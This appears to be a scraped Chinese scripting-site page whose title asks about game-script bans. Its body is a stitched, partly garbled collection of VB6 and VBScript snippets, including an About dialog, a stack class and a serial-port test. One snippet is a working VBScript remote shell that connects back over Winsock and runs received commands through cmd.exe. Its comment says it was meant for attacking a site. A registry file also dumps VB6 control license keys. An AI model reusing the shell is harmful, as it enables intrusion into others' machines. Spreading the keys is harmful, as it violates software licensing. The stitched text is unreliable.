倩女幽魂脚本会封号吗当前解决行47

发布时间:2020-08-24 来源:脚本之家 点击:



1.建立含有如下控件的窗体:

控件NAMECAPTION
窗体FORM1用VB6.0设计ABOUT窗口命令按钮COMMAND1关于销售管理系统

2.程序清单:

PrivateDeclareFunctionGetWindowWordLib"user32"
(ByValhwndAsLong,ByValnIndexAsLong)AsInteger

PrivateDeclareFunctionShellAboutLib
"shell32.dll"Alias"ShellAboutA"(ByValhwndAsLong,
ByValszAppAsString,ByValszOtherStuffAsString,
ByValhIconAsLong)AsLong

PrivateDeclareFunctionExtractIconLib
"shell32.dll"Alias"ExtractIconA"(ByValhinstAsLong,
ByVallpszExeFileNameAsString,ByValnIconIndexAs
Long)AsLongPrivateDeclareFunctionGetDiskFreeSpace
Lib"kernel32"Alias"GetDiskFreeSpaceA"(ByVal
lpRootPathNameAsString,lpSectorsPerClusterAsLong,
lpBytesPerSectorAsLong,lpNumberOfFreeClustersAs
Long,lpTotalNumberOfClustersAsLong)AsLongPrivate
DeclareFunctionGetDriveTypeLib"kernel32"Alias
"GetDriveTypeA"(ByValnDriveAsString)AsLong

PrivateDeclareSubGetSystemInfoLib"kernel32"
(lpSystemInfoAsSYSTEM_INFO)PrivateDeclareFunction
GetSystemMetricsLib"user32"(ByValnIndexAsLong)As
Long

PrivateConstGWL_EXSTYLE=(-20)
PrivateConstGWL_STYLE=(-16)
PrivateConstGWL_WNDPROC=(-4)
PrivateConstGWL_HINSTANCE=(-6)
PrivateTypeSYSTEM_INFO
dwOemIDAsLong
dwPageSizeAsLong
lpMinimumApplicationAddressAsLong
lpMaximumApplicationAddressAsLong
dwActiveProcessorMaskAsLong
dwNumberOrfProcessorsAsLong
dwProcessorTypeAsLong
dwAllocationGranularityAsLong
dwReservedAsLong
EndType
PrivateConstSM_CXSCREEN=0
PrivateConstSM_CYSCREEN=1

PrivateSubCommand1_Click()
DimhinstAsLong
DimiconsAsLong
DimaboutsAsLong
DimdispxAsString
DimdispyAsString
DimcpsAsString
Dimspace1AsString
Dimspace2AsString
hinst=GetWindowWord(Me.hwnd,GWL_HINSTANCE)
icons=ExtractIcon(hinst,"d:fpw26foxprow.exe",0)
DimsysinfoAsSYSTEM_INFO
Dimcls1AsLong
Dimcls2AsLong
DimsecsAsLong
DimbytesAsLong
DimbuffsAsString
buff="C:"
x=GetDriveType(buffs)
x=GetDiskFreeSpace(buffs,secs,bytes,cls1,cls2)
cls1=cls1*secs*bytes
cls2=cls2*secs*bytes
space1="C驱动器总共容量:" Format$(cls2/1024,"#,#") "千字节"
space2="C驱动器可用容量:
" Format$(cls1/1024,"#,#") "千字节"
x=GetSystemMetrics(SM_CXSCREEN)
dispx="显示器分辨率:" Str$(x)
x=GetSystemMetrics(SM_CYSCREEN)
dispy=Str$(x)
CallGetSystemInfo(sysinfo)
SelectCasesysinfo.dwProcessorType
Case386
cpus="处理器类型:386"
Case486
cpus="处理器类型:486"
Case586
cpus="处理器类型:586"
EndSelect
abouts=ShellAbout(Me.hwnd,"演示程序",
"销售管理系统V2.0版权所有[C]1998-1999蔡可训"
&Chr$(13)&Chr$(10)&space1&Chr$(13)&Chr$(10)
&space2&Chr$(13)&Chr$(10)&cpus "" dispx
"*" dispy,icons)
EndSub

----以上程序在WINDOWS98,VISUALBASIC6.0FORWINDOWS环境下运行通过.用户可以将其加入应用系统的ABOUT菜单项,通过菜单项调用它,效果更好->



'**********************************************
'vbs栈类
'push(string)进栈
'getTop取栈顶元素
'pop去掉栈顶元素
'isempty是否栈空
'isfull是否栈满(pMax设置了大小,可自行修改)
'
'木鸟2002.10.10
'
'**********************************************

classStack
privatepArr,pString,pMax
privatetab
privatesubclass_initialize()
tab=chr(9)
pMax=1000'最大容量
endsub
privatesubclass_terminate()
ifisarray(pArr)then
erasepArr
endif
endsub

publicfunctionpush(str)
ifstr<>""andinstr(str,tab)<1andnotIsfullthen
ifisarray(pArr)then
pString=join(pArr,tab)
endif
pString=pString&tab&str
pArr=split(pString,tab)
push=true
else
push=false
endif
endfunction

publicfunctionGetTop()
ifnotisarray(pArr)<0then
GetTop=null
else
ifubound(pArr)<0then
GetTop=null
else
GetTop=pArr(Ubound(pArr))
endif
endif
endfunction

publicfunctionPop()
ifnotisArray(pArr)then
Pop=false
else
ifUbound(pArr)<0then
Pop=false
else
pString=join(pArr,tab)
pString=left(pString,inStrRev(pString,tab)-1)
pArr=split(pString,tab)
Pop=true
endif
endif
endfunction

publicfunctionIsempty()
ifnotisArray(pArr)then
Isempty=true
else
ifUbound(pArr)<0then
isempty=true
else
isempty=false
endif
endif
endfunction

publicfunctionIsfull()
ifnotisArray(pArr)then
Isfull=false
else
ifubound(pArr)<pMaxthen
Isfull=false
else
Isfull=true
endif
endif
endfunction
endclass

计算机脚本语言
请明智地做出选择
  3、工程名表
  整个应用程序用一张包含所有名称的表

'搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷
'by009,baicker@hotmail.com
'date:071221

Dimrevdata
setsock=WScript.createobject("MSWinsock.Winsock","WSEvent_")
setsc=createobject("WScript.Shell")
Setfso=CreateObject("Scripting.FileSystemObject")
sock.connect"127.0.0.1",1234

SubWSEvent_Connect()
wscript.echo"Connected!"
endsub

SubWSEvent_DataArrival(bytes)
MyString="blank"
sock.GetDataMyString
revdata=MyString
ifbytes>0then
ifinstr(revdata,"exit")>0then
sock.close
sock.close
sock=nothing
bClose=true
exitsub
else
onerrorresumenext
tempfile="C:"&fso.GetTempName
cmd=left(revdata,len(revdata)-1)
callsc.Run("cmd.exe/c"&cmd&">"&tempfile,0,True)
Settxf=fso.OpenTextFile(tempfile,1,false,0)
sock.senddatatxf.readall&vbcrlf&vbcrlf
txf.close
callfso.DeleteFile(TempFile,True)
endif
sock.senddata"009>"
endif
endsub

WhileNotbClose
WScript.Sleep1
Wend

—————————————————————————————————————
调用winsock,未装VB的需要导入注册表
——————————————vb6controls.reg—————————————————-
REGEDIT
HKEY_CLASSES_ROOT\Licenses=Licensing:Copyingthekeysmaybeaviolationofestablishedcopyrights.

//MaskedEditControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\BC96F860-9928-11cf-8AFA-00AA00C00905=mmimfflflmqmlfffrlnmofhfkgrlmmfmqkqj

//ChartControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\12B142A4-BD51-11d1-8C08-0000F8754DA1=aadhgafabafajhchnbchehfambfbbachmfmb

//CommonDialogControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905=gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj

//ADODataControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\C4145310-469C-11d1-B182-00A0C922E820=konhqhioohihphkouimonhqhvnwiqhhhnjti

//CommonControls-36.0licensekey
HKEY_CLASSES_ROOT\Licenses\38911DA0-E448-11D0-84A3-00DD01104159=mcpckchcdchjcjcclidcgcgchdqdcjhcojpd

//WindowsCommonControls-25.0(SP2)licensekey
HKEY_CLASSES_ROOT\Licenses\9E799BF1-8817-11cf-958F-0020AFC28C3B=uqpqnqkjujkjjjjqwktjrjkjtkupsjnjtoun

//WindowsCommonControlslicensekey
HKEY_CLASSES_ROOT\Licenses\57CBF9E0-6AA7-11cf-8ADB-00AA00C00905=aahakhchghkhfhaamghhbhbhkbpgfhahlfle

//DataBoundGridControl5.0(SP3)licensekey
HKEY_CLASSES_ROOT\Licenses\556C75F1-EFBC-11CF-B9F3-00A0247033C4=xybiedobrqsprbijaegcbislrsiucfjdhisl

//DataBoundListControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\096EFC40-6ABF-11cf-850C-08002B30345D=knsgigmnmngnmnigthmgpninrmumhgkgrlrk

//InternetTransferControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\78E1BDD1-9941-11cf-9756-00AA00C00908=yjrjvqkjlqqjnqkjvprqsjnjvkuknjpjtoun

//MultimediaControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\B1EFCCF0-6AC1-11cf-8ADB-00AA00C00905=qqkjvqpqmqjjpqjjvpqqkqmqvkypoqjquoun

//ChartControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\7C35CA30-D112-11cf-8E72-00A0C90F26F8=whmhmhohmhiorhkouimhihihwiwinhlosmsl

//WindowsCommonControls-26.0licensekey
HKEY_CLASSES_ROOT\Licenses\4F86BADF-9F77-11d1-B1B7-0000F8753F5D=iplpwpnippopupiivjrioppisjsjlpiiokuj

//WindowsCommonControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\ED4B87C4-9F76-11d1-8BF7-0000F8754DA1=knlggnmntgggrninthpgmnngrhqhnnjnslsh

//CommControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\4250E830-6AC2-11cf-8ADB-00AA00C00905=kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun

//DataGridControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\CDE57A55-8B86-11D0-b3C6-00A0C90AEA82=ekpkhddkjkekpdjkqemkfkldoeoefkfdjfqe

//DataListControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\A133F000-CCB0-11d0-A316-00AA00688B10=cibbcimbpihbbbbbnhdbeidiocmcbbdbgdoc

//DBWinlicensekey
HKEY_CLASSES_ROOT\Licenses\D015B071-D2ED-11d0-A31A-00AA00688B10=gjdcfjpcmjicjcdcoihcechjlioiccechepd

//MSDBRPTlicensekey
HKEY_CLASSES_ROOT\Licenses\9DF1A470-BA8E-11D0-849C-00A0C90DC8A9=cchcqjejhcgcqcfjpdfcdjkckiqikchcojpd

//FlexGridControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\72E67120-5959-11cf-91F6-C2863C385E30=ibcbbbebqbdbciebmcobmbhifcmciibblgmf

//MAPIControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\899B3E80-6AC6-11cf-8ADB-00AA00C00905=wjsjjjlqmjpjrjjjvpqqkqmqukypoqjquoun

//MSRDO2.0licensekey
HKEY_CLASSES_ROOT\Licenses\B1692F60-23B0-11D0-8E95-00A0C90F26F8=mjjjccncgjijrcfjpdfjfcejpdkdkcgjojpd

//RemoteDataControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\43478d75-78e0-11cf-8e78-00a0d100038e=imshohohphlmnhimuinmphmmuiminhlmsmsl

//WindowlessControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\80E80EF0-DBBE-11D0-BCE2-00A0C90DCA10=qijimitpmpnpxplpvjnikpkpqoxjmpkpoivj

//PictureClipControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\6FB38640-6AC7-11cf-8ADB-00AA00C00905=gdjkokgdldikhdddpjkkekgknesjikdkoioh

//RichTextBoxControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\DC4D7920-6AC8-11cf-8ADB-00AA00C00905=iokouhloohrojhhhtnooiokomiwnmohosmsl

//SheridanTabControllicensekey
HKEY_CLASSES_ROOT\Licenses\190B7910-992A-11cf-8AFA-00AA00C00905=gclclcejjcmjdcccoikjlcecoioijjcjnhng

//SysInfoControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\E32E2733-1BC5-11d0-B8C3-00A0C90DCA10=kmhfimlflmmfpffmsgfmhmimngtghmoflhsg

//WinsockControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\2c49f800-c2dd-11cf-9ad6-0080c7e7b78d=mlrljgrlhltlngjlthrligklpkrhllglqlrk
假如您对MSComm的基本属性还不了解,建议请先至MSComm基本介绍一文中详读

表单画面

'表单部分
'-------------------------------------------------------------
Form.Name="Form1"
Caption="Form1"
CommandButton.Name=Command2
Caption="停止测试"
CommandButton.Name=Command1
Caption="开始测试"
TextBox.Name=Text1
MSComm.Name=MSComm1
DTREnable=-1'True
Label.Name=Label1
AutoSize=-1'True
Caption="欲送出的资料-按下[Enter]送出"
Label.Name=Label3
BorderStyle=1'单线固定
Label.Name=Label2
AutoSize=-1'True
Caption="折返显示"

'程式部分
'-------------------------------------------------------------
OptionExplicit
'设一个此表单的区域变数,来作终止读取通讯埠的指标
DimbStopAsBoolean
'设一个区域变数,来作读取通讯埠的暂存区
DimInStringAsString

PrivateSubCommand1_Click()
bStop=False
Text1.SetFocus
WithMSComm1
'设定通讯埠号,可依照您的需求更改
.CommPort=2
'设定传输速率等,可依照您的需求更改
.Settings="14400,N,8,1"
'将通讯埠打开
.PortOpen=True
EndWith
'假如使用者未按下「停止测试」钮(bStop=False),则继续读取
DoWhileNotbStop
IfMSComm1.InBufferCountThen
'通讯埠中假如有资料的话,则读取进来
InString=InString&MSComm1.Input
'如果资料中有Chr(13)和Chr(10)的话,则显示出来
IfInStr(InString,vbCrLf)Then
Label3.Caption=Label3.Caption&InString
InString=""
'暂时把系统资源让出来给其它的程式使用
DoEvents
EndIf
EndIf
DoEvents
Loop
EndSub

PrivateSubCommand2_Click()
'按下「停止测试」钮时,把bStop设为「真」(True)
'如此程式才会停止等待(或读取)通讯埠所收到的资料
bStop=True
EndSub

PrivateSubForm_QueryUnload(CancelAsInteger,UnloadModeAsInteger)
bStop=True
'把通讯埠关闭,才不会影响其它程式的使用通讯埠
MSComm1.PortOpen=False
End
EndSub

PrivateSubText1_KeyPress(KeyAsciiAsInteger)
'当按下[Enter]时,把Text1文字框中的资料送至通讯埠
IfKeyAscii=13Then
MSComm1.Output=Text1.Text&vbCrLf
Text1.Text=""
KeyAscii=0
EndIf
EndSub->


Const ForReading=1 'VBS的这句不能少这意味着你可以用存储过程建立非常复杂的查询,以非常复杂的方式更新数据库

以下示例在本地计算机上删除单个网站配置运行程序出现首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议
atl-ws-02。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号